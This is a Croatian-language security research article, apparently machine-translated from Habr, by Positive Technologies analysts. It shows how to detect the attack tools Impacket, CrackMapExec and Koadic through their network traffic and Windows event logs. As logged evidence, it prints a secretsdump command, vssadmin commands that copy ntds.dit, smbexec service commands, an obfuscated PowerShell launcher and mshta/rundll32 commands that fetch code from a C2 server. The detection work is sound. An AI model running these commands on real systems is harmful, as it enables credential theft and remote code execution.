Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata

Svake godine raste broj napada u korporativnom sektoru: npr u 2017. godini zabilježeno je 13% više jedinstvenih incidenata nego u 2016., a na kraju 2018. 27% više incidenatanego u prethodnom razdoblju. Uključujući i one u kojima je glavni radni alat operativni sustav Windows. U 2017.-2018., APT Dragonfly, APT28, APT MuddyWater izvršili napade na vladine i vojne organizacije u Europi, Sjevernoj Americi i Saudijskoj Arabiji. I koristili smo tri alata za ovo - utisni paket, CrackMapExec и Koadić. Njihov izvorni kod je otvoren i dostupan na GitHubu.

Vrijedno je napomenuti da se ovi alati ne koriste za početni prodor, već za razvoj napada unutar infrastrukture. Napadači ih koriste u različitim fazama napada nakon proboja perimetra. To je, inače, teško otkriti i često samo uz pomoć tehnologije identificiranje tragova kompromitacije u mrežnom prometu ili alate koji omogućuju otkriti aktivne radnje napadača nakon što je prodro u infrastrukturu. Alati pružaju niz funkcija, od prijenosa datoteka do interakcije s registrom i izvršavanja naredbi na udaljenom računalu. Proveli smo studiju ovih alata kako bismo utvrdili njihovu mrežnu aktivnost.

Što smo trebali učiniti:

  • Shvatite kako rade alati za hakiranje. Saznajte što napadači trebaju iskoristiti i koje tehnologije mogu koristiti.
  • Pronađite ono što alati za informacijsku sigurnost ne otkrivaju u prvim fazama napada. Faza izviđanja može biti preskočena, bilo zato što je napadač unutarnji napadač ili zato što napadač iskorištava rupu u infrastrukturi koja prethodno nije bila poznata. Postaje moguće obnoviti cijeli lanac njegovih radnji, otuda i želja za otkrivanjem daljnjeg kretanja.
  • Uklonite lažne rezultate iz alata za otkrivanje upada. Ne smijemo zaboraviti da kada se određene radnje detektiraju samo na temelju izviđanja, moguće su česte pogreške. Obično u infrastrukturi postoji dovoljan broj načina, koji se na prvi pogled ne razlikuju od legitimnih, za dobivanje bilo kakvih informacija.

Što ti alati daju napadačima? Ako je to Impacket, tada napadači dobivaju veliku biblioteku modula koji se mogu koristiti u različitim fazama napada koji slijede nakon probijanja perimetra. Mnogi alati koriste module Impacketa interno - na primjer, Metasploit. Ima dcomexec i wmiexec za daljinsko izvršavanje naredbi, secretsdump za dobivanje računa iz memorije koji su dodani iz Impacketa. Kao rezultat toga, ispravno otkrivanje aktivnosti takve biblioteke osigurat će otkrivanje derivata.

Nije slučajnost da su kreatori napisali “Powered by Impacket” o CrackMapExecu (ili jednostavno CME). Osim toga, CME ima gotovu funkcionalnost za popularne scenarije: Mimikatz za dobivanje lozinki ili njihovih hashova, implementaciju Meterpretera ili Empire agenta za daljinsko izvršenje i Bloodhound on board.

Treći alat koji smo odabrali bio je Koadic. Relativno je novijeg datuma, predstavljen je na međunarodnoj hakerskoj konferenciji DEFCON 25 2017. godine i ističe se nestandardnim pristupom: radi putem HTTP-a, Java Scripta i Microsoft Visual Basic Scripta (VBS). Ovaj pristup se zove živjeti od zemlje: alat koristi skup ovisnosti i biblioteka ugrađenih u Windows. Tvorci ga nazivaju COM Command & Control ili C3.

UDARNI PAKET

Funkcionalnost Impacketa je vrlo široka, u rasponu od izviđanja unutar AD-a i prikupljanja podataka s internih MS SQL poslužitelja, do tehnika za dobivanje vjerodajnica: ovo je SMB relay napad i dobivanje ntds.dit datoteke koja sadrži hashove korisničkih lozinki od kontrolera domene. Impacket također izvršava naredbe na daljinu koristeći četiri različite metode: WMI, Windows Scheduler Management Service, DCOM i SMB, a za to su mu potrebne vjerodajnice.

Secretsdump

Pogledajmo secretsdump. Ovo je modul koji može ciljati i na korisnička računala i na kontrolere domene. Može se koristiti za dobivanje kopija memorijskih područja LSA, SAM, SECURITY, NTDS.dit, tako da se može vidjeti u različitim fazama napada. Prvi korak u radu modula je provjera autentičnosti putem SMB-a, koja zahtijeva ili korisničku lozinku ili njen hash za automatsko izvođenje napada Pass the Hash. Zatim slijedi zahtjev za otvaranjem pristupa Service Control Manageru (SCM) i dobivanjem pristupa registru putem winreg protokola, pomoću kojeg napadač može saznati podatke grana koje ga zanimaju i dobiti rezultate putem SMB-a.

Na sl. 1 vidimo kako se točno kada se koristi winreg protokol, pristup dobiva pomoću ključa registra s LSA. Da biste to učinili, koristite naredbu DCERPC s operativnim kodom 15 - OpenKey.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 1. Otvaranje ključa registra pomoću winreg protokola

Zatim, kada se dobije pristup ključu, vrijednosti se spremaju naredbom SaveKey s opcodeom 20. Impacket to radi na vrlo specifičan način. Sprema vrijednosti u datoteku čije je ime niz od 8 nasumičnih znakova kojima je pridodan .tmp. Osim toga, daljnji prijenos ove datoteke odvija se putem SMB-a iz direktorija System32 (Slika 2).

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 2. Shema za dobivanje ključa registra s udaljenog stroja

Ispostavilo se da se takva aktivnost na mreži može detektirati upitima određenim ograncima registra koji koriste winreg protokol, određena imena, naredbe i njihov redoslijed.

Ovaj modul također ostavlja tragove u Windows zapisniku događaja, što ga čini lakim za otkrivanje. Na primjer, kao rezultat izvršavanja naredbe

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

U zapisniku sustava Windows Server 2016 vidjet ćemo sljedeći ključni niz događaja:

1. 4624 - daljinska prijava.
2. 5145 - provjera prava pristupa winreg udaljenoj usluzi.
3. 5145 - provjera prava pristupa datoteci u direktoriju System32. Datoteka ima slučajni naziv koji je gore spomenut.
4. 4688 - stvaranje cmd.exe procesa koji pokreće vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - kreiranje procesa naredbom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - kreiranje procesa naredbom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - kreiranje procesa naredbom:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Kao i mnogi drugi alati nakon eksploatacije, Impacket ima module za daljinsko izvršavanje naredbi. Usredotočit ćemo se na smexec, koji pruža interaktivnu naredbenu ljusku na udaljenom računalu. Ovaj modul također zahtijeva autentifikaciju putem SMB-a, bilo pomoću lozinke ili hash lozinke. Na sl. Na slici 3 vidimo primjer kako takav alat radi, u ovom slučaju to je lokalna administratorska konzola.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 3. Interaktivna smbexec konzola

Prvi korak smbexeca nakon provjere autentičnosti je otvaranje SCM-a pomoću naredbe OpenSCManagerW (15). Upit je značajan: polje MachineName je DUMMY.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 4. Zahtjev za otvaranje Service Control Managera

Zatim se usluga kreira pomoću naredbe CreateServiceW (12). U slučaju smbexeca, svaki put možemo vidjeti istu logiku konstrukcije naredbe. Na sl. 5 zelena označava nepromjenjive parametre naredbe, žuta označava što napadač može promijeniti. Lako je vidjeti da se naziv izvršne datoteke, njezin direktorij i izlazna datoteka mogu promijeniti, ali ostalo je puno teže promijeniti bez narušavanja logike modula Impactet.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 5. Zahtjev za kreiranje usluge pomoću Service Control Managera

Smexec također ostavlja očite tragove u zapisniku događaja Windowsa. U zapisniku sustava Windows Server 2016 za interaktivnu naredbenu ljusku s naredbom ipconfig vidjet ćemo sljedeći ključni niz događaja:

1. 4697 — instalacija usluge na žrtvin stroj:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - kreiranje cmd.exe procesa s argumentima iz točke 1.
3. 5145 - provjera prava pristupa __output datoteci u direktoriju C$.
4. 4697 — instalacija usluge na žrtvin stroj.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - kreiranje cmd.exe procesa s argumentima iz točke 4.
6. 5145 - provjera prava pristupa __output datoteci u direktoriju C$.

Impacet je osnova za razvoj alata za napad. Podržava gotovo sve protokole u Windows infrastrukturi i istovremeno ima svoje karakteristične značajke. Ovdje su specifični winreg zahtjevi i upotreba SCM API-ja s karakterističnim formiranjem naredbi, i format naziva datoteke, te SMB dijeljenje SYSTEM32.

CRACKMAPEXEC

Alat CME prvenstveno je dizajniran za automatizaciju onih rutinskih radnji koje napadač mora izvesti kako bi napredovao unutar mreže. Omogućuje vam rad u suradnji s poznatim agentom Empire i Meterpreterom. Za prikriveno izvršavanje naredbi, CME ih može maskirati. Koristeći Bloodhound (zaseban alat za izviđanje), napadač može automatizirati traženje aktivne sesije administratora domene.

krvosljednik

Bloodhound, kao samostalan alat, omogućuje napredno izviđanje unutar mreže. Prikuplja podatke o korisnicima, strojevima, grupama, sesijama i isporučuje se kao PowerShell skripta ili binarna datoteka. Za prikupljanje informacija koriste se LDAP ili SMB protokoli. Integracijski modul CME omogućuje preuzimanje Bloodhounda na žrtvin stroj, pokretanje i primanje prikupljenih podataka nakon izvršenja, čime automatizira radnje u sustavu i čini ih manje uočljivima. Grafička ljuska Bloodhound predstavlja prikupljene podatke u obliku grafikona, što vam omogućuje da pronađete najkraći put od napadačevog stroja do administratora domene.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 6. Bloodhound sučelje

Kako bi se pokrenuo na žrtvinom računalu, modul stvara zadatak koristeći ATSVC i SMB. ATSVC je sučelje za rad s Windows Task Schedulerom. CME koristi svoju funkciju NetrJobAdd(1) za stvaranje zadataka preko mreže. Primjer onoga što CME modul šalje prikazan je na sl. 7: Ovo je poziv naredbe cmd.exe i maskirani kod u obliku argumenata u XML formatu.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
sl.7. Izrada zadatka putem CME-a

Nakon što je zadatak poslan na izvršenje, žrtvin stroj sam pokreće Bloodhound, a to se može vidjeti u prometu. Modul karakteriziraju LDAP upiti za dobivanje standardnih grupa, popis svih strojeva i korisnika u domeni te dobivanje informacija o aktivnim korisničkim sesijama putem SRVSVC NetSessEnum zahtjeva.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 8. Dobivanje popisa aktivnih sesija putem SMB-a

Osim toga, pokretanje Bloodhounda na žrtvinom računalu s uključenom revizijom prati događaj s ID-om 4688 (stvaranje procesa) i nazivom procesa «C:WindowsSystem32cmd.exe». Ono što je značajno kod njega su argumenti naredbenog retka:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts vrlo je zanimljiv sa stajališta funkcionalnosti i implementacije. WMI vam omogućuje korištenje jezika upita WQL za dohvaćanje podataka iz različitih Windows objekata, što je u biti ono što ovaj CME modul koristi. Generira upite klasama AntiSpywareProduct i AntiMirusProduct o zaštitnim alatima instaliranim na žrtvinom računalu. Kako bi dobio potrebne podatke, modul se spaja na rootSecurityCenter2 imenski prostor, zatim generira WQL upit i prima odgovor. Na sl. Slika 9 prikazuje sadržaj takvih zahtjeva i odgovora. U našem primjeru pronađen je Windows Defender.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 9. Mrežna aktivnost modula enum_avproducts

Često, WMI revizija (Trace WMI-Activity), u čijim događajima možete pronaći korisne informacije o WQL upitima, može biti onemogućena. Ali ako je omogućeno, tada će se, ako se pokrene skripta enum_avproducts, spremiti događaj s ID-om 11. Sadržavat će ime korisnika koji je poslao zahtjev i ime u prostoru imena rootSecurityCenter2.

Svaki od CME modula imao je svoje vlastite artefakte, bilo da se radi o specifičnim WQL upitima ili stvaranju određene vrste zadatka u rasporedu zadataka s maskiranjem i aktivnošću specifičnom za Bloodhound u LDAP-u i SMB-u.

KOADIĆ

Posebnost Koadic-a je korištenje JavaScript i VBScript tumača ugrađenih u Windows. U tom smislu, slijedi trend življenja od zemlje - to jest, nema vanjskih ovisnosti i koristi standardne Windows alate. Ovo je alat za potpuno upravljanje i kontrolu (CnC), budući da se nakon infekcije na stroj ugrađuje "implantat", koji omogućuje njegovo upravljanje. Takav se stroj, u Koadic terminologiji, naziva "zombi". Ako nema dovoljno privilegija za potpuni rad na strani žrtve, Koadic ih ima mogućnost podići korištenjem tehnika premosnice kontrole korisničkog računa (UAC premosnica).

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 10. Koadic Shell

Žrtva mora započeti komunikaciju s Command & Control serverom. Da bi to učinila, mora kontaktirati prethodno pripremljeni URI i primiti glavno Koadic tijelo koristeći jedan od stagera. Na sl. Slika 11 prikazuje primjer za mshta stager.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 11. Inicijalizacija sesije s CnC poslužiteljem

Na temelju varijable odgovora WS postaje jasno da se izvršavanje odvija kroz WScript.Shell, a varijable STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sadrže ključne informacije o parametrima trenutne sesije. Ovo je prvi par zahtjev-odgovor u HTTP vezi s CnC poslužiteljem. Naknadni zahtjevi izravno su vezani uz funkcionalnost pozvanih modula (implantata). Svi Koadic moduli rade samo s aktivnom sesijom s CnC-om.

Mimikatz

Baš kao što CME radi s Bloodhoundom, Koadic radi s Mimikatzom kao zasebnim programom i ima više načina za pokretanje. Ispod je par zahtjeva-odgovora za preuzimanje Mimikatz implantata.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 12. Prebacite Mimikatza u Koadic

Možete vidjeti kako se URI format u zahtjevu promijenio. Sada sadrži vrijednost za csrf varijablu, koja je odgovorna za odabrani modul. Ne obraćaj pozornost na njezino ime; Svi znamo da se CSRF obično drugačije shvaća. Odgovor je bio isti glavni dio Koadic-a kojem je dodan kod povezan s Mimikatzom. Prilično je velik, pa pogledajmo ključne točke. Ovdje imamo biblioteku Mimikatz kodiranu u base64, serijaliziranu .NET klasu koja će je ubaciti i argumente za pokretanje Mimikatza. Rezultat izvršenja prenosi se preko mreže u čistom tekstu.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 13. Rezultat pokretanja Mimikatza na udaljenom stroju

Exec_cmd

Koadic također ima module koji mogu izvršavati naredbe na daljinu. Ovdje ćemo vidjeti istu metodu generiranja URI-ja i poznate varijable sid i csrf. U slučaju modula exec_cmd, kod se dodaje u tijelo koje može izvršavati naredbe ljuske. Dolje je prikazan takav kod sadržan u HTTP odgovoru CnC poslužitelja.

Kako otkriti napade na Windows infrastrukturu: proučavanje hakerskih alata
Riža. 14. Šifra implantata exec_cmd

Za izvođenje koda potrebna je varijabla GAWTUUGCFI s poznatim WS atributom. Uz njegovu pomoć, implantat poziva ljusku, obrađujući dvije grane koda - shell.exec s povratkom izlaznog toka podataka i shell.run bez povratka.

Koadic nije tipičan alat, ali ima svoje artefakte po kojima se može pronaći u legitimnom prometu:

  • posebno formiranje HTTP zahtjeva,
  • koristeći winHttpRequests API,
  • stvaranje WScript.Shell objekta putem ActiveXObject,
  • veliko izvršno tijelo.

Početnu vezu pokreće stager, tako da je moguće otkriti njegovu aktivnost kroz Windows događaje. Za mshta, ovo je događaj 4688, koji označava stvaranje procesa s atributom start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Dok Koadic radi, možete vidjeti ostalih 4688 događaja s atributima koji ga savršeno karakteriziraju:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Zaključci

Trend života od zemlje postaje sve popularniji među kriminalcima. Za svoje potrebe koriste alate i mehanizme ugrađene u Windows. Vidimo da se popularni alati Koadic, CrackMapExec i Impacket koji slijede ovaj princip sve više pojavljuju u APT izvješćima. Broj forkova na GitHubu za ove alate također raste, a pojavljuju se i novi (sada ih ima već oko tisuću). Trend postaje sve popularniji zbog svoje jednostavnosti: napadačima nisu potrebni alati trećih strana; oni su već na strojevima žrtava i pomažu im zaobići sigurnosne mjere. Usredotočeni smo na proučavanje mrežne komunikacije: svaki gore opisani alat ostavlja vlastite tragove u mrežnom prometu; detaljno proučavanje njih omogućilo nam je podučavanje našeg proizvoda PT otkrivanje mrežnog napada otkriti ih, što u konačnici pomaže u istraživanju cijelog lanca cyber incidenata koji ih uključuju.

Autori:

  • Anton Tyurin, voditelj odjela stručnih usluga, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, stručnjak, PT Expert Security Center, Positive Technologies

Izvor: www.habr.com

Dodajte komentar